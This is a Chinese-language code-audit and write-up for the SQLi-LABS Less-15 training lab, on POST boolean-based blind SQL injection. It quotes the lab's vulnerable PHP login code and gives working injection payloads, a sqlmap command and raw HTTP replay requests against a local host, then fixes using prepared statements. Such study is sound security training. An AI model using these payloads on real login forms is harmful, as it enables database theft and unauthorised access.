Less-15 代码审计报告:POST 布尔盲注(单引号)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-15/index.php 实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-15/index.php

// 第 44-47 行:POST 参数直接取值,未过滤
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

// 第 57 行:WHERE username='$uname' and password='$passwd'
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);

// 第 61-80 行:登录成功 → flag.jpg
if($row)
{
  ...
  echo '<img src="../images/flag.jpg"  />';    ← 第 77 行
  ...
}
// 第 81-91 行:登录失败 → slap.jpg;print_r 被注释,无报错回显
else  
{
echo '<font color= "#0000ff" font size="3">';
//print_r(mysql_error());        ← 第 85 行:注释,不回显报错
...
echo '<img src="../images/slap.jpg"   />';     ← 第 89 行

关键漏洞点:

• 第 46 行:$uname=$_POST['uname']; 未过滤。
• 第 47 行:$passwd=$_POST['passwd']; 未过滤。
• 第 57 行:WHERE username='$uname' and password='$passwd' 单引号拼接。
• 第 85 行:print_r(mysql_error()); 被注释 → 无报错回显。
• 第 77 行 / 第 89 行:登录成功显示 flag.jpg、失败显示 slap.jpg → 布尔盲注的响应差异通道。

3. 漏洞分析

• 输入来源:$_POST['uname'] / $_POST['passwd'],均未过滤。
• SQL 拼接位置:WHERE username='$uname' and password='$passwd'。
• 闭合方式:单引号 '。
• 是否回显:
  • 无数据回显、无报错回显(第 85 行注释);
  • 但 $row 是否存在决定了页面显示 flag.jpg 还是 slap.jpg → 可用布尔条件判断数据库内容。
• 防护情况:无过滤、无参数化。

4. 利用方式

步骤一:确认布尔盲注

uname = admin' and 1=1-- -
passwd = 123    → 显示 flag.jpg(条件真)
uname = admin' and 1=2-- -
passwd = 123    → 显示 slap.jpg(条件假)

响应图片不同 → 确认布尔盲注。

步骤二:判断库名长度

uname = admin' and length(database())=8-- -
passwd = 123    → flag.jpg(security 长度为 8)

步骤三:逐字符猜解(核心 Payload)

-- 猜库名第 1 个字符 = 's'
uname = admin' and substring((select database()),1,1)='s'-- -
passwd = 123
-- 猜 users 表第 1 个用户名首字符
uname = admin' and substring((select username from users limit 0,1),1,1)='D'-- -
passwd = 123

预期结果:条件真 → flag.jpg,条件假 → slap.jpg,遍历字符集还原数据(可脚本化/sqlmap)。

步骤四:进阶

• 用 ascii() + 二分减少请求:admin' and ascii(substring((select database()),1,1))>100-- -。
• sqlmap: sqlmap -u "http://127.0.0.1/sqli-labs/Less-15/" --data "uname=admin&passwd=1&submit=Submit" --batch --dbs。

5. Yakit 重放数据包

POST /sqli-labs/Less-15/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Connection: close

uname=admin%27%20and%20substring((select%20database()),1,1)=%27s%27--%20-&passwd=123&submit=Submit

布尔差异对比报文:

POST /sqli-labs/Less-15/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close

uname=admin%27%20and%201=1--%20-&passwd=123&submit=Submit

POST /sqli-labs/Less-15/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close

uname=admin%27%20and%201=2--%20-&passwd=123&submit=Submit

说明:%27='、%20=空格、--%20-=-- -。判断返回体中是否含 flag.jpg。

6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT username, password FROM users WHERE username = :uname AND password = :passwd LIMIT 0,1");
$stmt->bindValue(':uname', $uname, PDO::PARAM_STR);
$stmt->bindValue(':passwd', $passwd, PDO::PARAM_STR);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT username, password FROM users WHERE username = ? AND password = ? LIMIT 0,1");
$stmt->bind_param('ss', $uname, $passwd);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• 使用 password_hash/password_verify 校验密码。
• 关闭 display_errors;布尔盲注根除依赖参数化。
• 数据库账号最小权限;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。